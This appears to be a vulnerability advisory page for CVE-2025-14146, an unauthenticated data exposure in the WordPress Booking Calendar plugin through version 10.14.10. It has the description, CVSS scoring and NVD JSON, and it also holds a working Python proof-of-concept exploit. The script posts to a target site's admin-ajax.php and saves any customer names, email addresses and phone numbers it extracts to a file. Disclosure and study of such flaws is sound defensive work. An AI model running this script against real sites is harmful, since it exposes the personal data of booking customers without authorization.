Security Vulnerability Report
中文
CVE-2025-14146 CVSS 5.3 MEDIUM

CVE-2025-14146

Published: 2026-01-09 08:15:57
Last Modified: 2026-04-15 00:35:42

Description

The Booking Calendar plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 10.14.10 via the `WPBC_FLEXTIMELINE_NAV` AJAX action. This is due to the nonce verification being conditionally disabled by default (`booking_is_nonce_at_front_end` option is `'Off'` by default). When the `booking_is_show_popover_in_timeline_front_end` option is enabled (which is the default in demo installations and can be enabled by administrators), it is possible for unauthenticated attackers to extract sensitive booking data including customer names, email addresses, phone numbers, and booking details.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Booking Calendar WordPress Plugin <= 10.14.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-14146 PoC - WordPress Booking Calendar Sensitive Information Exposure This PoC demonstrates how an unauthenticated attacker can extract sensitive booking data from WordPress sites running the Booking Calendar plugin <= 10.14.10 """ import requests import json import sys def exploit_booking_calendar(target_url): """ Exploit the WPBC_FLEXTIMELINE_NAV AJAX action to extract sensitive booking information """ # Target AJAX endpoint ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Construct the malicious request # The vulnerability allows unauthenticated access to booking data payload = { 'action': 'WPBC_FLEXTIMELINE_NAV', 'booking_model': 'calendar', # or 'timeline' 'dates': '2025-01-01,2025-12-31', # Date range to query 'wh_booking_id': '0', 'wh_approved': '1', 'wh_is_new': '1', 'cost_pay': '0', 'summed_cost': '0' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting: {ajax_url}") print("[*] Sending malicious request to extract booking data...") try: response = requests.post(ajax_url, data=payload, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Request successful (Status: {response.status_code})") print(f"[+] Response length: {len(response.text)} bytes") # Check if we received booking data if 'booking' in response.text.lower() or 'cost' in response.text.lower(): print("[!] VULNERABLE - Sensitive booking data may have been exposed!") print(f"\n[+] Sample response (first 1000 chars):\n{response.text[:1000]}") # Save full response with open('cve_2025_14146_response.txt', 'w') as f: f.write(response.text) print("[*] Full response saved to cve_2025_14146_response.txt") return True else: print("[-] No obvious booking data in response") print(f"[*] Response preview: {response.text[:500]}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return False def check_nonce_protection(target_url): """ Check if the nonce protection is enabled (should return 403 if protected) """ ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Send request without valid nonce payload = { 'action': 'WPBC_FLEXTIMELINE_NAV', 'security': 'invalid_nonce_here' } try: response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 403: print("[*] Nonce protection appears to be ENABLED") return True else: print("[!] Nonce protection appears to be DISABLED (vulnerable)") return False except: return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_14146_poc.py <target_url>") print("Example: python cve_2025_14146_poc.py http://example.com") sys.exit(1) target = sys.argv[1] exploit_booking_calendar(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14146", "sourceIdentifier": "[email protected]", "published": "2026-01-09T08:15:57.330", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Booking Calendar plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 10.14.10 via the `WPBC_FLEXTIMELINE_NAV` AJAX action. This is due to the nonce verification being conditionally disabled by default (`booking_is_nonce_at_front_end` option is `'Off'` by default). When the `booking_is_show_popover_in_timeline_front_end` option is enabled (which is the default in demo installations and can be enabled by administrators), it is possible for unauthenticated attackers to extract sensitive booking data including customer names, email addresses, phone numbers, and booking details."}, {"lang": "es", "value": "El plugin Booking Calendar para WordPress es vulnerable a la exposición de información sensible en todas las versiones hasta la 10.14.10, inclusive, a través de la acción AJAX 'WPBC_FLEXTIMELINE_NAV'. Esto se debe a que la verificación de nonce está deshabilitada condicionalmente por defecto (la opción 'booking_is_nonce_at_front_end' está 'Off' por defecto). Cuando la opción 'booking_is_show_popover_in_timeline_front_end' está habilitada (lo cual es el valor por defecto en instalaciones de demostración y puede ser habilitado por administradores), es posible que atacantes no autenticados extraigan datos de reserva sensibles, incluyendo nombres de clientes, direcciones de correo electrónico, números de teléfono y detalles de la reserva."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/booking/tags/10.14.8/core/lib/wpbc-ajax.php#L29", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/booking/tags/10.14.8/core/timeline/v2/wpbc-class-timeline_v2.php#L3187", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/booking/tags/10.14.8/core/wpbc-activation.php#L572", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/booking/tags/10.14.8/includes/_functions/nonce_func.php#L33", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3434934%40booking%2Ftrunk&old=3432649%40booking%2Ftrunk&sfp_email=&sfph_mail=#file2", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/281a1c0e-bbd8-4cf6-94ca-b888c7d7e3af?source=cve", "source": "[email protected]"}]}}